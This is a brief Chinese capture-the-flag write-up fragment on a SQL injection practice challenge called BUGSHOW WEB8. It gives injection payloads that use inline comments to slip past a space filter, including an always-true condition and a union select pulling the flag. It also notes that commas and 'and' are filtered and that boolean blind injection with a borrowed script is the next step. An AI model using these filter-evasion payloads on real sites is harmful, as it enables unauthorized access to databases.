BUGSHOW WEB8实例

日常开靶机

直接/?id=1/**/or/**/1=1#

 

 

 

试试web7的做法

 

?id=-1/**/union/**/select/**/1,flag,3/**/from/**/flag被过滤了逗号和and

 判断为真时有回显，蹭大佬脚本